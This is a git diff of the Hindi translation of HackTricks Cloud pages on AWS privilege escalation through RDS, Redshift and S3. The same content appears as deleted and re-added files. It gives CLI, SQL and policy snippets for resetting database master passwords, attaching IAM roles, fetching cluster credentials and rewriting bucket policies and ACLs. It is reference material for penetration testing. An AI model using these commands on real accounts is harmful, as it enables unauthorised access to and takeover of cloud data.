-इस अनुमति के साथ एक हमलावर एक **क्लस्टर के अंदर एक नया उदाहरण** बना सकता है जो पहले से मौजूद है और जिसमें एक **IAM भूमिका** संलग्न है। वह मास्टर उपयोगकर्ता पासवर्ड को बदलने में असमर्थ होगा, लेकिन वह नए डेटाबेस उदाहरण को इंटरनेट पर उजागर करने में सक्षम हो सकता है:
-```bash
-aws --region eu-west-1 --profile none-priv rds create-db-instance \
---db-instance-identifier mydbinstance2 \
---db-instance-class db.t3.medium \
---engine aurora-postgresql \
---db-cluster-identifier database-1 \
---db-security-groups "string" \
---publicly-accessible
-```
-### `rds:CreateDBInstance`, `iam:PassRole`
-
-> [!NOTE]
-> TODO: Test
-
-एक हमलावर जिसके पास `rds:CreateDBInstance` और `iam:PassRole` की अनुमति है, **एक निर्दिष्ट भूमिका के साथ एक नया RDS उदाहरण बना सकता है**। हमलावर फिर संभावित रूप से **संवेदनशील डेटा तक पहुँच** या उदाहरण के भीतर डेटा को संशोधित कर सकता है।
-
-> [!WARNING]
-> भूमिका/उदाहरण-प्रोफ़ाइल को संलग्न करने की कुछ आवश्यकताएँ ( [**यहाँ**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) से):
-
-> - प्रोफ़ाइल आपके खाते में मौजूद होनी चाहिए।
-> - प्रोफ़ाइल के पास एक IAM भूमिका होनी चाहिए जिसे Amazon EC2 द्वारा ग्रहण करने की अनुमति हो।
-> - उदाहरण प्रोफ़ाइल नाम और संबंधित IAM भूमिका नाम को `AWSRDSCustom` उपसर्ग से शुरू होना चाहिए।
-```bash
-aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
-```
-**संभावित प्रभाव**: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।
-
-### `rds:AddRoleToDBInstance`, `iam:PassRole`
-
-एक हमलावर जिसके पास `rds:AddRoleToDBInstance` और `iam:PassRole` की अनुमति है, वह **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंच** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।
-
-> [!WARNING]
-> DB उदाहरण को इसके लिए क्लस्टर के बाहर होना चाहिए
-```bash
-aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name 
-```
-**संभावित प्रभाव**: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन। 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
new file mode 100644
index 000000000..5929c86b1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
@@ -0,0 +1,151 @@
+# AWS - RDS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## RDS - रिलेशनल डेटाबेस सर्विस
+
+RDS के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+### `rds:ModifyDBInstance`
+
+उस अनुमति के साथ एक हमलावर **मास्टर उपयोगकर्ता का पासवर्ड बदल सकता है**, और डेटाबेस के अंदर का लॉगिन भी बदल सकता है:
+```bash
+# Get the DB username, db name and address
+aws rds describe-db-instances
+
+# Modify the password and wait a couple of minutes
+aws rds modify-db-instance \
+--db-instance-identifier  \
+--master-user-password 'Llaody2f6.123' \
+--apply-immediately
+
+# In case of postgres
+psql postgresql://:@:5432/
+```
+> [!WARNING]
+> आपको **डेटाबेस से संपर्क कर पाने में सक्षम होना होगा** (वे आमतौर पर केवल नेटवर्क के अंदर से ही एक्सेस किए जा सकते हैं)।
+
+**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी मिल सकती है।
+
+### rds-db:connect
+
+According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
+
+### RDS Role IAM permissions का दुरुपयोग
+
+#### Postgresql (Aurora)
+
+> [!TIP]
+> यदि **`SELECT datname FROM pg_database;`** चलाने पर आपको **`rdsadmin`** नाम का डेटाबेस मिलता है, तो आप जानते हैं कि आप एक **AWS postgresql database** के अंदर हैं।
+
+सबसे पहले आप यह जाँच सकते हैं कि इस डेटाबेस का उपयोग किसी अन्य AWS service तक पहुँचने के लिए किया गया है या नहीं। आप इंस्टॉल किए गए extensions देखकर यह जाँच सकते हैं:
+```sql
+SELECT * FROM pg_extension;
+```
+यदि आप कुछ इस तरह देखते हैं **`aws_s3`** तो आप मान सकते हैं कि यह डेटाबेस **S3 पर किसी तरह की पहुँच** रखता है (अन्य एक्सटेंशन्स भी हैं जैसे **`aws_ml`** और **`aws_lambda`**)।
+
+साथ ही, अगर आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमतियाँ हैं तो आप वहां देख सकते हैं कि फ़ील्ड **`AssociatedRoles`** में **cluster पर कोई IAM Role जुड़ा हुआ है** या नहीं। अगर है, तो आप मान सकते हैं कि डेटाबेस को **अन्य AWS services तक पहुँच के लिए तैयार** किया गया था। Role के **नाम** के आधार पर (या अगर आप role की **अनुमतियाँ** प्राप्त कर सकें) आप **अनुमान** लगा सकते हैं कि डेटाबेस के पास अतिरिक्त कौनसी पहुँच है।
+
+अब, किसी **bucket के अंदर फ़ाइल पढ़ने** के लिए आपको पूरा path जानना होगा। आप इसे पढ़ सकते हैं:
+```sql
+// Create table
+CREATE TABLE ttemp (col TEXT);
+
+// Create s3 uri
+SELECT aws_commons.create_s3_uri(
+'test1234567890678', // Name of the bucket
+'data.csv',          // Name of the file
+'eu-west-1'          //region of the bucket
+) AS s3_uri \gset
+
+// Load file contents in table
+SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
+
+// Get info
+SELECT * from ttemp;
+
+// Delete table
+DROP TABLE ttemp;
+```
+यदि आपके पास **raw AWS credentials** होते, तो आप उनका उपयोग S3 डेटा तक पहुँचने के लिए भी कर सकते थे:
+```sql
+SELECT aws_s3.table_import_from_s3(
+'t', '', '(format csv)',
+:'s3_uri',
+aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
+);
+```
+> [!NOTE]
+> Postgresql **किसी parameter group variable को बदलने की आवश्यकता नहीं है** ताकि यह S3 तक पहुँच सके।
+
+#### Mysql (Aurora)
+
+> [!TIP]
+> एक mysql के अंदर, यदि आप क्वेरी **`SELECT User, Host FROM mysql.user;`** चलाते हैं और वहाँ **`rdsadmin`** नाम का user है, तो आप मान सकते हैं कि आप एक **AWS RDS mysql db** के अंदर हैं।
+
+mysql के अंदर **`show variables;`** चलाएँ और यदि **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** जैसी variables की values मौजूद हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुँचने के लिए तैयार है।
+
+इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की permissions हैं, तो आप जांच सकते हैं कि क्लस्टर के पास कोई **associated role** है या नहीं, जो आमतौर पर AWS services तक पहुँच का संकेत देता है).
+
+अब, **bucket के अंदर फ़ाइल पढ़ने के लिए** आपको पूरा path जानना होगा। आप इसे पढ़ सकते हैं:
+```sql
+CREATE TABLE ttemp (col TEXT);
+LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
+SELECT * FROM ttemp;
+DROP TABLE ttemp;
+```
+### `rds:AddRoleToDBCluster`, `iam:PassRole`
+
+`rds:AddRoleToDBCluster` और `iam:PassRole` permissions वाले attacker एक मौजूदा RDS instance में **एक निर्दिष्ट role जोड़ सकता है**। यह attacker को **संवेदनशील डेटा तक पहुँचने** या instance के भीतर डेटा संशोधित करने की अनुमति दे सकता है।
+```bash
+aws add-role-to-db-cluster --db-cluster-identifier  --role-arn 
+```
+**Potential Impact**: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।\\
+ध्यान दें कि कुछ DBs को अतिरिक्त configs की आवश्यकता होती है, जैसे Mysql, जिसके लिए role ARN को aprameter groups में भी निर्दिष्ट करना होता है।
+
+### `rds:CreateDBInstance`
+
+सिर्फ इस permission के साथ एक attacker पहले से मौजूद cluster के अंदर एक **नया इंस्टेंस (new instance inside a cluster)** बना सकता है और उस पर एक **IAM role** जुड़ी हुई हो सकती है। वह मास्टर उपयोगकर्ता पासवर्ड बदल नहीं पाएगा, लेकिन वह नए डेटाबेस इंस्टेंस को इंटरनेट पर उजागर कर सकता है:
+```bash
+aws --region eu-west-1 --profile none-priv rds create-db-instance \
+--db-instance-identifier mydbinstance2 \
+--db-instance-class db.t3.medium \
+--engine aurora-postgresql \
+--db-cluster-identifier database-1 \
+--db-security-groups "string" \
+--publicly-accessible
+```
+### `rds:CreateDBInstance`, `iam:PassRole`
+
+> [!NOTE]
+> TODO: परीक्षण करें
+
+`rds:CreateDBInstance` और `iam:PassRole` अनुमतियों वाले एक attacker **नियत role संलग्न करके एक नया RDS instance बना सकता है**। attacker फिर संभावित रूप से **संवेदनशील डेटा तक पहुँच** सकता है या instance के भीतर डेटा संशोधित कर सकता है।
+
+> [!WARNING]
+> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
+
+> - The profile आपके account में मौजूद होना चाहिए।
+> - The profile में एक IAM role होना चाहिए जिसे Amazon EC2 के पास assume करने की permissions हों।
+> - The instance profile name और associated IAM role name को prefix `AWSRDSCustom` से शुरू होना चाहिए।
+```bash
+aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
+```
+**Potential Impact**: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।
+
+### `rds:AddRoleToDBInstance`, `iam:PassRole`
+
+इन permissions `rds:AddRoleToDBInstance` और `iam:PassRole` वाले एक हमलावर के लिए किसी मौजूदा RDS instance में **एक निर्दिष्ट role जोड़ना** संभव है। इससे हमलावर को **संवेदनशील डेटा तक पहुँच** या instance के भीतर डेटा में संशोधन करने की अनुमति मिल सकती है।
+
+> [!WARNING]
+> इसके लिए DB instance को cluster के बाहर होना चाहिए।
+```bash
+aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name 
+```
+**संभावित प्रभाव**: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
deleted file mode 100644
index c72cf60ac..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ /dev/null
@@ -1,95 +0,0 @@
-# AWS - Redshift Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Redshift
-
-RDS के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-redshift-enum.md
-{{#endref}}
-
-### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
-
-इन अनुमतियों के साथ आप **सभी क्लस्टरों की जानकारी** (जिसमें नाम और क्लस्टर उपयोगकर्ता नाम शामिल हैं) प्राप्त कर सकते हैं और **इस तक पहुँचने के लिए क्रेडेंशियल्स** प्राप्त कर सकते हैं:
-```bash
-# Get creds
-aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
-# Connect, even if the password is a base64 string, that is the password
-psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439
-```
-**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
-
-### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
-
-इन अनुमतियों के साथ आप **सभी क्लस्टरों की जानकारी** प्राप्त कर सकते हैं और **इस तक पहुँचने के लिए क्रेडेंशियल्स** प्राप्त कर सकते हैं।\
-ध्यान दें कि postgres उपयोगकर्ता के पास **अनुमतियाँ होंगी जो IAM पहचान** के पास हैं जिसका उपयोग क्रेडेंशियल्स प्राप्त करने के लिए किया गया है।
-```bash
-# Get creds
-aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
-# Connect, even if the password is a base64 string, that is the password
-psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
-```
-**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
-
-### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
-
-यह संभव है कि आप aws cli से आंतरिक postgres (redshit) उपयोगकर्ता का **मास्टर पासवर्ड संशोधित** करें (मुझे लगता है कि ये वे अनुमतियाँ हैं जिनकी आपको आवश्यकता है लेकिन मैंने अभी तक उनका परीक्षण नहीं किया है):
-```
-aws redshift modify-cluster –cluster-identifier  –master-user-password ‘master-password’;
-```
-**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
-
-## बाहरी सेवाओं तक पहुँच
-
-> [!WARNING]
-> सभी निम्नलिखित संसाधनों तक पहुँचने के लिए, आपको **उपयोग करने के लिए भूमिका निर्दिष्ट करनी होगी**। एक Redshift क्लस्टर **AWS भूमिकाओं की एक सूची असाइन कर सकता है** जिसका आप उपयोग कर सकते हैं **यदि आप ARN जानते हैं** या आप बस "**डिफ़ॉल्ट**" सेट कर सकते हैं ताकि असाइन की गई डिफ़ॉल्ट भूमिका का उपयोग किया जा सके।
-
-> इसके अलावा, जैसा कि [**यहाँ समझाया गया है**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift भूमिकाओं को जोड़ने की अनुमति भी देता है (जब तक कि पहली भूमिका दूसरी भूमिका को मान नहीं लेती) ताकि आगे की पहुँच प्राप्त की जा सके, लेकिन बस **उन्हें** एक **अल्पविराम** से **अलग** करके: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
-
-### लैम्ब्डास
-
-जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) में समझाया गया है, यह **redshift से एक लैम्ब्डा फ़ंक्शन कॉल करना संभव है** कुछ इस तरह:
-```sql
-CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
-RETURNS INT
-STABLE
-LAMBDA 'lambda_function'
-IAM_ROLE default;
-```
-### S3
-
-जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) में समझाया गया है, **S3 बकेट्स में पढ़ना और लिखना संभव है**:
-```sql
-# Read
-copy table from 's3:///load/key_prefix'
-credentials 'aws_iam_role=arn:aws:iam:::role/'
-region ''
-options;
-
-# Write
-unload ('select * from venue')
-to 's3://mybucket/tickit/unload/venue_'
-iam_role default;
-```
-### Dynamo
-
-जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) में बताया गया है, **dynamodb से डेटा प्राप्त करना** संभव है:
-```sql
-copy favoritemovies
-from 'dynamodb://ProductCatalog'
-iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
-```
-> [!WARNING]
-> Amazon DynamoDB तालिका जो डेटा प्रदान करती है, उसे आपके क्लस्टर के समान AWS क्षेत्र में बनाया जाना चाहिए, जब तक कि आप [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) विकल्प का उपयोग करके उस AWS क्षेत्र को निर्दिष्ट न करें जिसमें Amazon DynamoDB तालिका स्थित है।
-
-### EMR
-
-चेक करें [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
-
-## References
-
-- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
new file mode 100644
index 000000000..afd786aa0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
@@ -0,0 +1,95 @@
+# AWS - Redshift Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Redshift
+
+RDS के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-redshift-enum.md
+{{#endref}}
+
+### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
+
+इन अनुमतियों के साथ आप **सभी क्लस्टर्स की जानकारी** (नाम और क्लस्टर उपयोगकर्ता नाम सहित) प्राप्त कर सकते हैं और इसे एक्सेस करने के लिए **क्रेडेंशियल्स प्राप्त** कर सकते हैं:
+```bash
+# Get creds
+aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
+# Connect, even if the password is a base64 string, that is the password
+psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439
+```
+**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
+
+### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
+
+इन अनुमतियों के साथ आप **सभी क्लस्टर्स की जानकारी** प्राप्त कर सकते हैं और इसे एक्सेस करने के लिए **credentials प्राप्त कर सकते हैं**.\
+ध्यान दें कि postgres user के पास वे **IAM identity की permissions** होंगी जिनका उपयोग credentials प्राप्त करने के लिए किया गया था.
+```bash
+# Get creds
+aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
+# Connect, even if the password is a base64 string, that is the password
+psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
+```
+**Potential Impact:** डेटाबेस के अंदर संवेदनशील जानकारी मिल सकती है।
+
+### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
+
+aws cli से internal postgres (redshit) user का **master password बदलना** संभव है (मुझे लगता है कि इन्हीं permissions की आवश्यकता होगी लेकिन मैंने अभी तक इन्हें टेस्ट नहीं किया है):
+```
+aws redshift modify-cluster –cluster-identifier  –master-user-password ‘master-password’;
+```
+**Potential Impact:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
+
+## बाहरी सेवाओं तक पहुँच
+
+> [!WARNING]
+> इन सभी संसाधनों तक पहुँचने के लिए, आपको **उपयोग करने के लिए भूमिका निर्दिष्ट करनी होगी**। एक Redshift cluster **AWS roles की सूची असाइन कर सकता है** जिसे आप उपयोग कर सकते हैं **यदि आप ARN जानते हैं** या आप बस "**default**" सेट करके असाइन किए गए डिफ़ॉल्ट का उपयोग कर सकते हैं।
+>
+> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **कॉमा** से **अलग** करके them: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+
+### Lambdas
+
+जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), यह संभव है कि आप **call a lambda function from redshift** कुछ इस तरह से:
+```sql
+CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
+RETURNS INT
+STABLE
+LAMBDA 'lambda_function'
+IAM_ROLE default;
+```
+### S3
+
+जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), यह संभव है कि **S3 buckets में पढ़ना और लिखना**:
+```sql
+# Read
+copy table from 's3:///load/key_prefix'
+credentials 'aws_iam_role=arn:aws:iam:::role/'
+region ''
+options;
+
+# Write
+unload ('select * from venue')
+to 's3://mybucket/tickit/unload/venue_'
+iam_role default;
+```
+### Dynamo
+
+जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) में समझाया गया है, यह संभव है कि आप **dynamodb से डेटा प्राप्त कर सकते हैं**:
+```sql
+copy favoritemovies
+from 'dynamodb://ProductCatalog'
+iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
+```
+> [!WARNING]
+> डेटा प्रदान करने वाली Amazon DynamoDB तालिका उसी AWS Region में बनाई जानी चाहिए जहाँ आपका क्लस्टर है, सिवाय इसके कि आप Amazon DynamoDB तालिका किस AWS Region में स्थित है यह निर्दिष्ट करने के लिए [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) विकल्प का उपयोग करते हैं।
+
+### EMR
+
+देखें [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
+
+## संदर्भ
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
deleted file mode 100644
index 3cbf2c54b..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ /dev/null
@@ -1,186 +0,0 @@
-# AWS - S3 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-
-एक हमलावर जिसके पास इन दिलचस्प बकेट्स पर ये अनुमतियाँ हैं, वह संसाधनों को हाईजैक करने और विशेषाधिकार बढ़ाने में सक्षम हो सकता है।
-
-उदाहरण के लिए, एक हमलावर जिसके पास **"cf-templates-nohnwfax6a6i-us-east-1"** नाम के क्लाउडफॉर्मेशन बकेट पर ये अनुमतियाँ हैं, वह डिप्लॉयमेंट को हाईजैक करने में सक्षम होगा। एक्सेस निम्नलिखित नीति के साथ दिया जा सकता है:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": [
-"s3:PutBucketNotification",
-"s3:GetBucketNotification",
-"s3:PutObject",
-"s3:GetObject"
-],
-"Resource": [
-"arn:aws:s3:::cf-templates-*/*",
-"arn:aws:s3:::cf-templates-*"
-]
-},
-{
-"Effect": "Allow",
-"Action": "s3:ListAllMyBuckets",
-"Resource": "*"
-}
-]
-}
-```
-और हाइजैक संभव है क्योंकि **टेम्पलेट अपलोड होने के क्षण से** लेकर **टेम्पलेट डिप्लॉय होने के क्षण तक एक छोटा समय विंडो** होता है। एक हमलावर बस अपने खाते में एक **lambda function** बना सकता है जो **तब ट्रिगर होगा जब एक बकेट नोटिफिकेशन भेजा जाएगा**, और **हाइजैक** कर लेगा उस **बकेट** का **सामग्री**।
-
-![](<../../../images/image (174).png>)
-
-Pacu मॉड्यूल [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) का उपयोग इस हमले को स्वचालित करने के लिए किया जा सकता है।\
-अधिक जानकारी के लिए मूल शोध देखें: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
-
-### `s3:PutObject`, `s3:GetObject` 
-
-ये **S3 में ऑब्जेक्ट प्राप्त करने और अपलोड करने** के लिए अनुमतियाँ हैं। AWS के अंदर (और बाहर) कई सेवाएँ S3 स्टोरेज का उपयोग **कॉन्फ़िग फ़ाइलों** को स्टोर करने के लिए करती हैं।\
-एक हमलावर जिसके पास **पढ़ने की पहुँच** है, वह उन पर **संवेदनशील जानकारी** पा सकता है।\
-एक हमलावर जिसके पास **लिखने की पहुँच** है, वह **डेटा को संशोधित कर सकता है ताकि किसी सेवा का दुरुपयोग किया जा सके और विशेषाधिकारों को बढ़ाने की कोशिश की जा सके**।\
-ये कुछ उदाहरण हैं:
-
-- यदि एक EC2 इंस्टेंस **S3 बकेट में उपयोगकर्ता डेटा** स्टोर कर रहा है, तो एक हमलावर इसे **EC2 इंस्टेंस के अंदर मनमाना कोड निष्पादित करने के लिए संशोधित कर सकता है**।
-
-### `s3:PutObject`, `s3:GetObject` (वैकल्पिक) टेराफॉर्म स्टेट फ़ाइल पर
-
-यह बहुत सामान्य है कि [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) स्टेट फ़ाइलें क्लाउड प्रदाताओं के ब्लॉब स्टोरेज में सहेजी जाती हैं, जैसे कि AWS S3। एक स्टेट फ़ाइल के लिए फ़ाइल उपसर्ग `.tfstate` है, और बकेट नाम अक्सर यह भी बताते हैं कि वे टेराफॉर्म स्टेट फ़ाइलें रखते हैं। आमतौर पर, हर AWS खाता एक ऐसा बकेट रखता है जो खाता की स्थिति को दिखाने वाली स्टेट फ़ाइलों को स्टोर करता है।\
-साथ ही आमतौर पर, वास्तविक दुनिया के खातों में लगभग हमेशा सभी डेवलपर्स के पास `s3:*` होता है और कभी-कभी यहां तक कि व्यवसाय उपयोगकर्ताओं के पास भी `s3:Put*` होता है।
-
-तो, यदि आपके पास इन फ़ाइलों पर सूचीबद्ध अनुमतियाँ हैं, तो एक हमले का वेक्टर है जो आपको `terraform` के विशेषाधिकारों के साथ पाइपलाइन में RCE प्राप्त करने की अनुमति देता है - अधिकांश समय `AdministratorAccess`, जिससे आप क्लाउड खाते के व्यवस्थापक बन जाते हैं। इसके अलावा, आप उस वेक्टर का उपयोग करके `terraform` को वैध संसाधनों को हटाने के लिए सेवा से इनकार के हमले को करने के लिए कर सकते हैं।
-
-*Terraform Security* पृष्ठ के *Abusing Terraform State Files* अनुभाग में सीधे उपयोग करने योग्य एक्सप्लॉइट कोड के लिए विवरण का पालन करें:
-
-{{#ref}}
-../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
-{{#endref}}
-
-### `s3:PutBucketPolicy`
-
-एक हमलावर, जिसे **उसी खाते से होना चाहिए**, यदि नहीं तो त्रुटि `The specified method is not allowed will trigger` होगी, इस अनुमति के साथ बकेट(s) पर अधिक अनुमतियाँ देने में सक्षम होगा जिससे वह पढ़, लिख, संशोधित, हटाने और बकेट को उजागर कर सकेगा।
-```bash
-# Update Bucket policy
-aws s3api put-bucket-policy --policy file:///root/policy.json --bucket 
-
-## JSON giving permissions to a user and mantaining some previous root access
-{
-"Id": "Policy1568185116930",
-"Version":"2012-10-17",
-"Statement":[
-{
-"Effect":"Allow",
-"Principal":{
-"AWS":"arn:aws:iam::123123123123:root"
-},
-"Action":"s3:ListBucket",
-"Resource":"arn:aws:s3:::somebucketname"
-},
-{
-"Effect":"Allow",
-"Principal":{
-"AWS":"arn:aws:iam::123123123123:user/username"
-},
-"Action":"s3:*",
-"Resource":"arn:aws:s3:::somebucketname/*"
-}
-]
-}
-
-## JSON Public policy example
-### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
-{
-"Id": "Policy1568185116930",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Stmt1568184932403",
-"Action": [
-"s3:ListBucket"
-],
-"Effect": "Allow",
-"Resource": "arn:aws:s3:::welcome",
-"Principal": "*"
-},
-{
-"Sid": "Stmt1568185007451",
-"Action": [
-"s3:GetObject"
-],
-"Effect": "Allow",
-"Resource": "arn:aws:s3:::welcome/*",
-"Principal": "*"
-}
-]
-}
-```
-### `s3:GetBucketAcl`, `s3:PutBucketAcl`
-
-एक हमलावर इन अनुमतियों का दुरुपयोग करके **उन्हें अधिक पहुंच प्रदान कर सकता है** विशेष बाल्टियों पर।\
-ध्यान दें कि हमलावर को उसी खाते से होने की आवश्यकता नहीं है। इसके अलावा, लिखने की पहुंच
-```bash
-# Update bucket ACL
-aws s3api get-bucket-acl --bucket 
-aws s3api put-bucket-acl --bucket  --access-control-policy file://acl.json
-
-##JSON ACL example
-## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
-{
-"Owner": {
-"DisplayName": "",
-"ID": ""
-},
-"Grants": [
-{
